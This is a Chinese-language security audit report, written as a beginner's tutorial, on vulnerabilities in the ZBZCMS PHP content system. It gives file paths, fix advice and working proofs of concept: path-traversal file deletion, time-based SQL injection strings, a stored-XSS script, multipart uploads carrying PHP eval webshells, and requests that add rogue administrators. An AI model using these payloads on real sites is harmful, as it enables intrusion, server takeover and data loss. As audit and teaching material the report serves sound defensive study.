zbzcms审计供新手学习
字数 1637 2025-08-07 08:22:18
ZBZCMS 安全审计报告与教学文档
0x00 前言
本报告针对 ZBZCMS 进行全面的安全审计,发现多个高危漏洞,包括但不限于:任意文件删除、SQL 注入、XSS、文件上传漏洞、任意文件写入、未授权访问等。本报告适合安全审计新手学习参考。
0x01 环境准备
- 工具:
- Seay 源代码审计系统
- PHPStorm
- PHPStudy
- 测试方法:先用审计工具扫描,再人工分析
0x02 漏洞详情
1. 任意文件删除漏洞
文件路径:/zbzcms.com/cms/cms/include/up.php
漏洞分析:
- 通过 GET 参数
run=del控制删除操作 - 无任何校验和过滤
- 可直接删除服务器上任意文件
PoC:
/zbzcms.com/cms/cms/include/up.php?run=del&file=../test.txt
修复建议:
- 严格限制可删除的文件路径
- 增加权限验证
- 对文件名进行过滤
2. SQL 注入漏洞(共4处)
第一处注入点
文件路径:/zbzcms.com/cms/common/php/ajax.php
参数:id
漏洞分析:
- 使用
select查询函数但未做过滤 - 可直接注入
PoC:
http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=dj&id=1 and sleep(2)
第二处注入点
文件路径:同上
参数:id (不同功能点)
PoC:
http://127.0.0.1/zbzcms.com/cms/common/php/ajax.php?run=ad&id=1 and sleep(2)
第三处注入点
文件路径:/zbzcms.com/cms/cms/include/make.php
参数:art
PoC:
http://127.0.0.1/zbzcms.com/cms/cms/include/make.php?php=1&art=1 and sleep(5)
第四处注入点
文件路径:/zbzcms.com/cms/cms/include/zidong.php
参数:tid
特点:
- 需要闭合括号
- tid 值必须与数据库中某个值匹配
PoC:
http://127.0.0.1/zbzcms.com/cms/cms/include/zidong.php?id=1&tid=3)+and+sleep(1)%23&laiyuan=0&sou=1&wid=1
修复建议:
- 使用预处理语句
- 对所有输入参数进行过滤
- 统一使用安全的数据库操作函数
3. 存储型 XSS 漏洞
位置:留言功能
参数:neirong
漏洞分析:
- 用户输入未经任何过滤直接存入数据库
- 后台查看时直接输出执行
PoC:
<script>alert(1)</script>
修复建议:
- 对输出进行 HTML 实体编码
- 实现 CSP 策略
- 使用富文本编辑器时严格过滤
4. 文件上传漏洞(共4处)
第一处上传点
文件路径:/zbzcms.com/cms/cms/admin/ajax.php
参数:run=youad_pic
PoC:
POST /zbzcms.com/cms/cms/admin/ajax.php?run=youad_pic HTTP/1.1
------WebKitFormBoundary1yVpo1vIVcMvlXNA
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
<?php @eval($_POST['a']); phpinfo(); ?>
------WebKitFormBoundary1yVpo1vIVcMvlXNA--
第二处上传点
文件路径:/zbzcms.com/cms/cms/include/up.php
参数:run=file
PoC:
POST /zbzcms.com/cms/cms/include/up.php?run=file&path=../../upload/up/&filename=0 HTTP/1.1
------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
<?php @eval($_POST['a']); phpinfo();
------WebKitFormBoundaryqwBQidHCCHB076er--
第三处上传点
文件路径:upload.php
特点:当 name=1 时跳过后缀判断
第四处上传点
文件路径:/zbzcms.com/cms/cms/zbzedit/php/zbz.php
参数:
run=uptxtpathpath_resdata_pic_name
PoC:
POST /zbzcms.com/cms/cms/zbzedit/php/zbz.php?run=uptxt&path=upload/up/&path_res=../../upload/up/&data_pic_name=1 HTTP/1.1
------WebKitFormBoundaryQy3ayf3rnYVYcEcG
Content-Disposition: form-data; name="0"; filename="yjh.php"
Content-Type: application/octet-stream
<?php @eval($_POST['a']); phpinfo();
------WebKitFormBoundaryQy3ayf3rnYVYcEcG--
修复建议:
- 严格限制上传文件类型
- 检查文件内容而不仅是扩展名
- 上传文件重命名
- 设置上传目录不可执行
5. 任意文件写入漏洞
文件路径:admin 目录下某文件
漏洞分析:
- 使用
file_put_contents直接写入 - 可通过
run参数绕过登录检查
PoC:
// 当 magic_quotes_gpc 开启时使用无引号马
<?php $_POST[a]($_POST[b]);?>
修复建议:
- 严格限制写入路径
- 增加权限验证
- 禁用危险函数
6. 未授权操作漏洞
任意管理员添加
方法:直接操作 admin 表
PoC:
INSERT INTO admin(username,password) VALUES('hacker',md5('123456'))
未授权删除/修改
特点:逻辑相同,只是操作不同
7. 未授权添加管理员(绕过登录)
步骤:
- 先通过 login 获取 session
- 添加管理员时设置权限等级
PoC:
POST /path/to/vulnerable/file HTTP/1.1
run=add&table=admin&username=abc&pwd=123456&level=1
0x03 总结
ZBZCMS 存在多处严重安全漏洞,主要问题包括:
- 缺乏输入验证和过滤
- 权限控制不严
- 使用危险函数无防护
- 数据库操作不安全
整体修复建议:
- 实现严格的输入验证和输出编码
- 完善权限控制系统
- 使用预处理语句操作数据库
- 禁用或严格限制危险函数的使用
- 实现CSRF防护
- 对所有管理功能进行严格的权限验证
本报告可作为Web应用安全审计的典型案例,供安全研究人员学习参考。